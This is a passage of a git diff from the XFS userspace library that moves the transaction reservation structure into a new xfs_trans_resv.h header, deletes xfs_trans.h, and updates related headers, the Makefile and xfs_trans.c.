handle.h jdm.h xqm.h xfs.h xfs_fs.h xfs_types.h HFILES += $(PKG_PLATFORM).h diff --git a/include/libxfs.h b/include/libxfs.h index 81495c3..6d96c41 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -40,6 +40,7 @@ #include #include #include +#include #include #include @@ -204,7 +205,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_litino; /* size of inode union area */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ - xfs_trans_reservations_t m_reservations;/* precomputed res values */ + struct xfs_trans_resv m_reservations; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ int m_dalign; /* stripe unit */ int m_swidth; /* stripe width */ @@ -408,7 +409,6 @@ extern int libxfs_ihash_size; extern void libxfs_iomove (xfs_buf_t *, uint, int, void *, int); - /* * Transaction interface */ @@ -443,7 +443,18 @@ typedef struct xfs_buf_log_item { #define XFS_BLI_STALE (1<<2) #define XFS_BLI_INODE_ALLOC_BUF (1<<3) -#include +typedef struct xfs_dq_logitem { + xfs_log_item_t qli_item; /* common portion */ + struct xfs_dquot *qli_dquot; /* dquot ptr */ + xfs_lsn_t qli_flush_lsn; /* lsn at last flush */ + xfs_dq_logformat_t qli_format; /* logged structure */ +} xfs_dq_logitem_t; + +typedef struct xfs_qoff_logitem { + xfs_log_item_t qql_item; /* common portion */ + struct xfs_qoff_logitem *qql_start_lip; /* qoff-start logitem, if any */ + xfs_qoff_logformat_t qql_format; /* logged structure */ +} xfs_qoff_logitem_t; typedef struct xfs_trans { unsigned int t_type; /* transaction type */ @@ -458,6 +469,9 @@ typedef struct xfs_trans { struct list_head t_items; /* first log item desc chunk */ } xfs_trans_t; +extern void xfs_trans_init(struct xfs_mount *); +extern int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); + extern xfs_trans_t *libxfs_trans_alloc (xfs_mount_t *, int); extern xfs_trans_t *libxfs_trans_dup (xfs_trans_t *); extern int libxfs_trans_reserve (xfs_trans_t *, uint,uint,uint,uint,uint); @@ -700,6 +714,9 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_symlink_blocks xfs_symlink_blocks #define libxfs_symlink_hdr_ok xfs_symlink_hdr_ok +/* xfs_trans_resv.h */ +#define libxfs_trans_resv_calc xfs_trans_resv_calc + /* xfs_rtalloc.c */ int libxfs_rtfree_extent(struct xfs_trans *, xfs_rtblock_t, xfs_extlen_t); diff --git a/include/xfs_mount.h b/include/xfs_mount.h index 68c02a9..5410e9f 100644 --- a/include/xfs_mount.h +++ b/include/xfs_mount.h @@ -18,37 +18,6 @@ #ifndef __XFS_MOUNT_H__ #define __XFS_MOUNT_H__ -typedef struct xfs_trans_reservations { - uint tr_write; /* extent alloc trans */ - uint tr_itruncate; /* truncate trans */ - uint tr_rename; /* rename trans */ - uint tr_link; /* link trans */ - uint tr_remove; /* unlink trans */ - uint tr_symlink; /* symlink trans */ - uint tr_create; /* create trans */ - uint tr_mkdir; /* mkdir trans */ - uint tr_ifree; /* inode free trans */ - uint tr_ichange; /* inode update trans */ - uint tr_growdata; /* fs data section grow trans */ - uint tr_swrite; /* sync write inode trans */ - uint tr_addafork; /* cvt inode to attributed trans */ - uint tr_writeid; /* write setuid/setgid file */ - uint tr_attrinval; /* attr fork buffer invalidation */ - uint tr_attrsetm; /* set/create an attribute at mount time */ - uint tr_attrsetrt; /* set/create an attribute at runtime */ - uint tr_attrrm; /* remove an attribute */ - uint tr_clearagi; /* clear bad agi unlinked ino bucket */ - uint tr_growrtalloc; /* grow realtime allocations */ - uint tr_growrtzero; /* grow realtime zeroing */ - uint tr_growrtfree; /* grow realtime freeing */ - uint tr_qm_sbchange; /* change quota flags */ - uint tr_qm_setqlim; /* adjust quota limits */ - uint tr_qm_dqalloc; /* allocate quota on disk */ - uint tr_qm_quotaoff; /* turn quota off */ - uint tr_qm_equotaoff;/* end of turn quota off */ - uint tr_sb; /* modify superblock */ -} xfs_trans_reservations_t; - #ifndef __KERNEL__ #define xfs_daddr_to_agno(mp,d) \ @@ -174,7 +143,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ uint m_qflags; /* quota status flags */ - xfs_trans_reservations_t m_reservations;/* precomputed res values */ + struct xfs_trans_resv m_reservations; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ __uint64_t m_resblks; /* total reserved blocks */ __uint64_t m_resblks_avail;/* available reserved blocks */ diff --git a/include/xfs_trans.h b/include/xfs_trans.h deleted file mode 100644 index de5a8e7..0000000 --- a/include/xfs_trans.h +++ /dev/null @@ -1,331 +0,0 @@ -/* - * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_TRANS_H__ -#define __XFS_TRANS_H__ - - -struct xfs_log_item; - -/* - * Per-extent log reservation for the allocation btree changes - * involved in freeing or allocating an extent. - * 2 trees * (2 blocks/level * max depth - 1) * block size - */ -#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ - ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * XFS_AG_MAXLEVELS(mp) - 1))) -#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ - ((nx) * (2 * (2 * XFS_AG_MAXLEVELS(mp) - 1))) - -/* - * Per-directory log reservation for any directory change. - * dir blocks: (1 btree block per level + data block + free block) * dblock size - * bmap btree: (levels + 2) * max depth * block size - * v2 directory blocks can be fragmented below the dirblksize down to the fsb - * size, so account for that in the DAENTER macros. - */ -#define XFS_DIROP_LOG_RES(mp) \ - (XFS_FSB_TO_B(mp, XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK)) + \ - (XFS_FSB_TO_B(mp, XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1))) -#define XFS_DIROP_LOG_COUNT(mp) \ - (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ - XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) - - -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -/* - * Logging the inode timestamps on an fsync -- same as SWRITE - * as long as SWRITE logs the entire inode core - */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) - - -/* - * Various log count values. - */ -#define XFS_DEFAULT_LOG_COUNT 1 -#define XFS_DEFAULT_PERM_LOG_COUNT 2 -#define XFS_ITRUNCATE_LOG_COUNT 2 -#define XFS_INACTIVE_LOG_COUNT 2 -#define XFS_CREATE_LOG_COUNT 2 -#define XFS_MKDIR_LOG_COUNT 3 -#define XFS_SYMLINK_LOG_COUNT 3 -#define XFS_REMOVE_LOG_COUNT 2 -#define XFS_LINK_LOG_COUNT 2 -#define XFS_RENAME_LOG_COUNT 2 -#define XFS_WRITE_LOG_COUNT 2 -#define XFS_ADDAFORK_LOG_COUNT 2 -#define XFS_ATTRINVAL_LOG_COUNT 1 -#define XFS_ATTRSET_LOG_COUNT 3 -#define XFS_ATTRRM_LOG_COUNT 3 - -#ifdef __KERNEL__ - -struct xfs_buf; -struct xfs_buftarg; -struct xfs_efd_log_item; -struct xfs_efi_log_item; -struct xfs_inode; -struct xfs_item_ops; -struct xfs_log_iovec; -struct xfs_log_item_desc; -struct xfs_mount; -struct xfs_trans; -struct xfs_dquot_acct; -struct xfs_busy_extent; - -typedef struct xfs_log_item { - struct list_head li_ail; /* AIL pointers */ - xfs_lsn_t li_lsn; /* last on-disk lsn */ - struct xfs_log_item_desc *li_desc; /* ptr to current desc*/ - struct xfs_mount *li_mountp; /* ptr to fs mount */ - struct xfs_ail *li_ailp; /* ptr to AIL */ - uint li_type; /* item type */ - uint li_flags; /* misc flags */ - struct xfs_log_item *li_bio_list; /* buffer item list */ - void (*li_cb)(struct xfs_buf *, - struct xfs_log_item *); - /* buffer item iodone */ - /* callback func */ - const struct xfs_item_ops *li_ops; /* function list */ - - /* delayed logging */ - struct list_head li_cil; /* CIL pointers */ - struct xfs_log_vec *li_lv; /* active log vector */ - xfs_lsn_t li_seq; /* CIL commit seq */ -} xfs_log_item_t; - -#define XFS_LI_IN_AIL 0x1 -#define XFS_LI_ABORTED 0x2 - -#define XFS_LI_FLAGS \ - { XFS_LI_IN_AIL, "IN_AIL" }, \ - { XFS_LI_ABORTED, "ABORTED" } - -struct xfs_item_ops { - uint (*iop_size)(xfs_log_item_t *); - void (*iop_format)(xfs_log_item_t *, struct xfs_log_iovec *); - void (*iop_pin)(xfs_log_item_t *); - void (*iop_unpin)(xfs_log_item_t *, int remove); - uint (*iop_push)(struct xfs_log_item *, struct list_head *); - void (*iop_unlock)(xfs_log_item_t *); - xfs_lsn_t (*iop_committed)(xfs_log_item_t *, xfs_lsn_t); - void (*iop_committing)(xfs_log_item_t *, xfs_lsn_t); -}; - -#define IOP_SIZE(ip) (*(ip)->li_ops->iop_size)(ip) -#define IOP_FORMAT(ip,vp) (*(ip)->li_ops->iop_format)(ip, vp) -#define IOP_PIN(ip) (*(ip)->li_ops->iop_pin)(ip) -#define IOP_UNPIN(ip, remove) (*(ip)->li_ops->iop_unpin)(ip, remove) -#define IOP_PUSH(ip, list) (*(ip)->li_ops->iop_push)(ip, list) -#define IOP_UNLOCK(ip) (*(ip)->li_ops->iop_unlock)(ip) -#define IOP_COMMITTED(ip, lsn) (*(ip)->li_ops->iop_committed)(ip, lsn) -#define IOP_COMMITTING(ip, lsn) (*(ip)->li_ops->iop_committing)(ip, lsn) - -/* - * Return values for the IOP_PUSH() routines. - */ -#define XFS_ITEM_SUCCESS 0 -#define XFS_ITEM_PINNED 1 -#define XFS_ITEM_LOCKED 2 -#define XFS_ITEM_FLUSHING 3 - -/* - * This is the type of function which can be given to xfs_trans_callback() - * to be called upon the transaction's commit to disk. - */ -typedef void (*xfs_trans_callback_t)(struct xfs_trans *, void *); - -/* - * This is the structure maintained for every active transaction. - */ -typedef struct xfs_trans { - unsigned int t_magic; /* magic number */ - xfs_log_callback_t t_logcb; /* log callback struct */ - unsigned int t_type; /* transaction type */ - unsigned int t_log_res; /* amt of log space resvd */ - unsigned int t_log_count; /* count for perm log res */ - unsigned int t_blk_res; /* # of blocks resvd */ - unsigned int t_blk_res_used; /* # of resvd blocks used */ - unsigned int t_rtx_res; /* # of rt extents resvd */ - unsigned int t_rtx_res_used; /* # of resvd rt extents used */ - struct xlog_ticket *t_ticket; /* log mgr ticket */ - xfs_lsn_t t_lsn; /* log seq num of start of - * transaction. */ - xfs_lsn_t t_commit_lsn; /* log seq num of end of - * transaction. */ - struct xfs_mount *t_mountp; /* ptr to fs mount struct */ - struct xfs_dquot_acct *t_dqinfo; /* acctg info for dquots */ - unsigned int t_flags; /* misc flags */ - int64_t t_icount_delta; /* superblock icount change */ - int64_t t_ifree_delta; /* superblock ifree change */ - int64_t t_fdblocks_delta; /* superblock fdblocks chg */ - int64_t t_res_fdblocks_delta; /* on-disk only chg */ - int64_t t_frextents_delta;/* superblock freextents chg*/ - int64_t t_res_frextents_delta; /* on-disk only chg */ -#ifdef DEBUG - int64_t t_ag_freeblks_delta; /* debugging counter */ - int64_t t_ag_flist_delta; /* debugging counter */ - int64_t t_ag_btree_delta; /* debugging counter */ -#endif - int64_t t_dblocks_delta;/* superblock dblocks change */ - int64_t t_agcount_delta;/* superblock agcount change */ - int64_t t_imaxpct_delta;/* superblock imaxpct change */ - int64_t t_rextsize_delta;/* superblock rextsize chg */ - int64_t t_rbmblocks_delta;/* superblock rbmblocks chg */ - int64_t t_rblocks_delta;/* superblock rblocks change */ - int64_t t_rextents_delta;/* superblocks rextents chg */ - int64_t t_rextslog_delta;/* superblocks rextslog chg */ - struct list_head t_items; /* log item descriptors */ - xfs_trans_header_t t_header; /* header for in-log trans */ - struct list_head t_busy; /* list of busy extents */ - unsigned long t_pflags; /* saved process flags state */ -} xfs_trans_t; - -/* - * XFS transaction mechanism exported interfaces that are - * actually macros. - */ -#define xfs_trans_get_log_res(tp) ((tp)->t_log_res) -#define xfs_trans_get_log_count(tp) ((tp)->t_log_count) -#define xfs_trans_get_block_res(tp) ((tp)->t_blk_res) -#define xfs_trans_set_sync(tp) ((tp)->t_flags |= XFS_TRANS_SYNC) - -#ifdef DEBUG -#define xfs_trans_agblocks_delta(tp, d) ((tp)->t_ag_freeblks_delta += (int64_t)d) -#define xfs_trans_agflist_delta(tp, d) ((tp)->t_ag_flist_delta += (int64_t)d) -#define xfs_trans_agbtree_delta(tp, d) ((tp)->t_ag_btree_delta += (int64_t)d) -#else -#define xfs_trans_agblocks_delta(tp, d) -#define xfs_trans_agflist_delta(tp, d) -#define xfs_trans_agbtree_delta(tp, d) -#endif - -/* - * XFS transaction mechanism exported interfaces. - */ -xfs_trans_t *xfs_trans_alloc(struct xfs_mount *, uint); -xfs_trans_t *_xfs_trans_alloc(struct xfs_mount *, uint, xfs_km_flags_t); -xfs_trans_t *xfs_trans_dup(xfs_trans_t *); -int xfs_trans_reserve(xfs_trans_t *, uint, uint, uint, - uint, uint); -void xfs_trans_mod_sb(xfs_trans_t *, uint, int64_t); - -struct xfs_buf *xfs_trans_get_buf_map(struct xfs_trans *tp, - struct xfs_buftarg *target, - struct xfs_buf_map *map, int nmaps, - uint flags); - -static inline struct xfs_buf * -xfs_trans_get_buf( - struct xfs_trans *tp, - struct xfs_buftarg *target, - xfs_daddr_t blkno, - int numblks, - uint flags) -{ - DEFINE_SINGLE_BUF_MAP(map, blkno, numblks); - return xfs_trans_get_buf_map(tp, target, &map, 1, flags); -} - -int xfs_trans_read_buf_map(struct xfs_mount *mp, - struct xfs_trans *tp, - struct xfs_buftarg *target, - struct xfs_buf_map *map, int nmaps, - xfs_buf_flags_t flags, - struct xfs_buf **bpp, - const struct xfs_buf_ops *ops); - -static inline int -xfs_trans_read_buf( - struct xfs_mount *mp, - struct xfs_trans *tp, - struct xfs_buftarg *target, - xfs_daddr_t blkno, - int numblks, - xfs_buf_flags_t flags, - struct xfs_buf **bpp, - const struct xfs_buf_ops *ops) -{ - DEFINE_SINGLE_BUF_MAP(map, blkno, numblks); - return xfs_trans_read_buf_map(mp, tp, target, &map, 1, - flags, bpp, ops); -} - -struct xfs_buf *xfs_trans_getsb(xfs_trans_t *, struct xfs_mount *, int); - -void xfs_trans_brelse(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_bjoin(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_bhold(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_bhold_release(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_binval(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_inode_buf(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_stale_inode_buf(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_dquot_buf(xfs_trans_t *, struct xfs_buf *, uint); -void xfs_trans_inode_alloc_buf(xfs_trans_t *, struct xfs_buf *); -void xfs_trans_ichgtime(struct xfs_trans *, struct xfs_inode *, int); -void xfs_trans_ijoin(struct xfs_trans *, struct xfs_inode *, uint); -void xfs_trans_log_buf(xfs_trans_t *, struct xfs_buf *, uint, uint); -void xfs_trans_log_inode(xfs_trans_t *, struct xfs_inode *, uint); -struct xfs_efi_log_item *xfs_trans_get_efi(xfs_trans_t *, uint); -void xfs_efi_release(struct xfs_efi_log_item *, uint); -void xfs_trans_log_efi_extent(xfs_trans_t *, - struct xfs_efi_log_item *, - xfs_fsblock_t, - xfs_extlen_t); -struct xfs_efd_log_item *xfs_trans_get_efd(xfs_trans_t *, - struct xfs_efi_log_item *, - uint); -void xfs_trans_log_efd_extent(xfs_trans_t *, - struct xfs_efd_log_item *, - xfs_fsblock_t, - xfs_extlen_t); -int xfs_trans_commit(xfs_trans_t *, uint flags); -void xfs_trans_cancel(xfs_trans_t *, int); -int xfs_trans_ail_init(struct xfs_mount *); -void xfs_trans_ail_destroy(struct xfs_mount *); - -extern kmem_zone_t *xfs_trans_zone; -extern kmem_zone_t *xfs_log_item_desc_zone; - -#endif /* __KERNEL__ */ - -void xfs_trans_init(struct xfs_mount *); -int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); - -#endif /* __XFS_TRANS_H__ */ diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h new file mode 100644 index 0000000..cc8260e --- /dev/null +++ b/include/xfs_trans_resv.h @@ -0,0 +1,137 @@ +/* + * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_TRANS_RESV_H__ +#define __XFS_TRANS_RESV_H__ + +struct xfs_mount; + +/* + * structure for maintaining pre-calculated transaction reservations. + */ +struct xfs_trans_resv { + uint tr_write; /* extent alloc trans */ + uint tr_itruncate; /* truncate trans */ + uint tr_rename; /* rename trans */ + uint tr_link; /* link trans */ + uint tr_remove; /* unlink trans */ + uint tr_symlink; /* symlink trans */ + uint tr_create; /* create trans */ + uint tr_mkdir; /* mkdir trans */ + uint tr_ifree; /* inode free trans */ + uint tr_ichange; /* inode update trans */ + uint tr_growdata; /* fs data section grow trans */ + uint tr_swrite; /* sync write inode trans */ + uint tr_addafork; /* cvt inode to attributed trans */ + uint tr_writeid; /* write setuid/setgid file */ + uint tr_attrinval; /* attr fork buffer invalidation */ + uint tr_attrsetm; /* set/create an attribute at mount time */ + uint tr_attrsetrt; /* set/create an attribute at runtime */ + uint tr_attrrm; /* remove an attribute */ + uint tr_clearagi; /* clear bad agi unlinked ino bucket */ + uint tr_growrtalloc; /* grow realtime allocations */ + uint tr_growrtzero; /* grow realtime zeroing */ + uint tr_growrtfree; /* grow realtime freeing */ + uint tr_qm_sbchange; /* change quota flags */ + uint tr_qm_setqlim; /* adjust quota limits */ + uint tr_qm_dqalloc; /* allocate quota on disk */ + uint tr_qm_quotaoff; /* turn quota off */ + uint tr_qm_equotaoff;/* end of turn quota off */ + uint tr_sb; /* modify superblock */ +}; + +/* + * Per-extent log reservation for the allocation btree changes + * involved in freeing or allocating an extent. + * 2 trees * (2 blocks/level * max depth - 1) * block size + */ +#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ + ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * XFS_AG_MAXLEVELS(mp) - 1))) +#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ + ((nx) * (2 * (2 * XFS_AG_MAXLEVELS(mp) - 1))) + +/* + * Per-directory log reservation for any directory change. + * dir blocks: (1 btree block per level + data block + free block) * dblock size + * bmap btree: (levels + 2) * max depth * block size + * v2 directory blocks can be fragmented below the dirblksize down to the fsb + * size, so account for that in the DAENTER macros. + */ +#define XFS_DIROP_LOG_RES(mp) \ + (XFS_FSB_TO_B(mp, XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK)) + \ + (XFS_FSB_TO_B(mp, XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1))) +#define XFS_DIROP_LOG_COUNT(mp) \ + (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ + XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) + + +#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) +#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) +#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) +#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) +#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) +#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) +#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) +#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) +#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) +#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) +#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) +#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) +#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) +#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) +#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +/* + * Logging the inode timestamps on an fsync -- same as SWRITE + * as long as SWRITE logs the entire inode core + */ +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) +#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) +#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) +#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) +#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) +#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) +#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) +#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) +#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) +#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) +#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) + +/* + * Various log count values. + */ +#define XFS_DEFAULT_LOG_COUNT 1 +#define XFS_DEFAULT_PERM_LOG_COUNT 2 +#define XFS_ITRUNCATE_LOG_COUNT 2 +#define XFS_INACTIVE_LOG_COUNT 2 +#define XFS_CREATE_LOG_COUNT 2 +#define XFS_MKDIR_LOG_COUNT 3 +#define XFS_SYMLINK_LOG_COUNT 3 +#define XFS_REMOVE_LOG_COUNT 2 +#define XFS_LINK_LOG_COUNT 2 +#define XFS_RENAME_LOG_COUNT 2 +#define XFS_WRITE_LOG_COUNT 2 +#define XFS_ADDAFORK_LOG_COUNT 2 +#define XFS_ATTRINVAL_LOG_COUNT 1 +#define XFS_ATTRSET_LOG_COUNT 3 +#define XFS_ATTRRM_LOG_COUNT 3 + +void xfs_trans_resv_calc(struct xfs_mount *mp, struct xfs_trans_resv *resp); + +#endif /* __XFS_TRANS_RESV_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index d0b483d..b19ff6c 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -16,8 +16,11 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ - xfs_mount.c xfs_rtalloc.c xfs_trans.c xfs_attr.c xfs_attr_remote.c \ - crc32.c xfs_symlink.c + xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ + crc32.c \ + xfs_symlink.c \ + xfs_trans.c \ + xfs_trans_resv.c CFILES += $(PKG_PLATFORM).c PCFILES = darwin.c freebsd.c irix.c linux.c diff --git a/libxfs/xfs.h b/libxfs/xfs.h index c9d6a6d..66fca85 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -100,6 +100,8 @@ typedef __uint32_t inst_t; /* an instruction */ #define __return_address __builtin_return_address(0) #endif +#define XFS_DQUOT_CLUSTER_SIZE_FSB (xfs_filblks_t)1 + /* miscellaneous kernel routines not in user space */ #define down_read(a) ((void) 0) #define up_read(a) ((void) 0) diff --git a/libxfs/xfs_trans.c b/libxfs/xfs_trans.c index 95fb630..2daf545 100644 --- a/libxfs/xfs_trans.c +++ b/libxfs/xfs_trans.c @@ -23,557 +23,6 @@ kmem_zone_t *xfs_trans_zone; kmem_zone_t *xfs_log_item_desc_zone; /* - * A buffer has a format structure overhead in the log in addition - * to the data, so we need to take this into account when reserving - * space in a transaction for a buffer. Round the space required up - * to a multiple of 128 bytes so that we don't change the historical - * reservation that has been used for this overhead. - */ -STATIC uint -xfs_buf_log_overhead(void) -{ - return round_up(sizeof(struct xlog_op_header) + - sizeof(struct xfs_buf_log_format), 128); -} - -/* - * Calculate out transaction log reservation per item in bytes. - * - * The nbufs argument is used to indicate the number of items that - * will be changed in a transaction. size is used to tell how many - * bytes should be reserved per item. - */ -STATIC uint -xfs_calc_buf_res( - uint nbufs, - uint size) -{ - return nbufs * (size + xfs_buf_log_overhead()); -} - -/* - * Various log reservation values. - * - * These are based on the size of the file system block because that is what - * most transactions manipulate. Each adds in an additional 128 bytes per - * item logged to try to account for the overhead of the transaction mechanism. - * - * Note: Most of the reservations underestimate the number of allocation - * groups into which they could free extents in the xfs_bmap_finish() call. - * This is because the number in the worst case is quite high and quite - * unusual. In order to fix this we need to change xfs_bmap_finish() to free - * extents in only a single AG at a time. This will require changes to the - * EFI code as well, however, so that the EFI for the extents not freed is - * logged again in each transaction. See SGI PV #261917. - * - * Reservation functions here avoid a huge stack in xfs_trans_init due to - * register overflow from temporaries in the calculations. - */ - - -/* - * In a write transaction we can allocate a maximum of 2 - * extents. This gives: - * the inode getting the new extents: inode size - * the inode's bmap btree: max depth * block size - * the agfs of the ags from which the extents are allocated: 2 * sector - * the superblock free block counter: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - * And the bmap_finish transaction can free bmap blocks in a join: - * the agfs of the ags containing the blocks: 2 * sector size - * the agfls of the ags containing the blocks: 2 * sector size - * the super block free block counter: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_write_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * In truncating a file we free up to two extents at once. We can modify: - * the inode being truncated: inode size - * the inode's bmap btree: (max depth + 1) * block size - * And the bmap_finish transaction can free the blocks and bmap blocks: - * the agf for each of the ags: 4 * sector size - * the agfl for each of the ags: 4 * sector size - * the super block to reflect 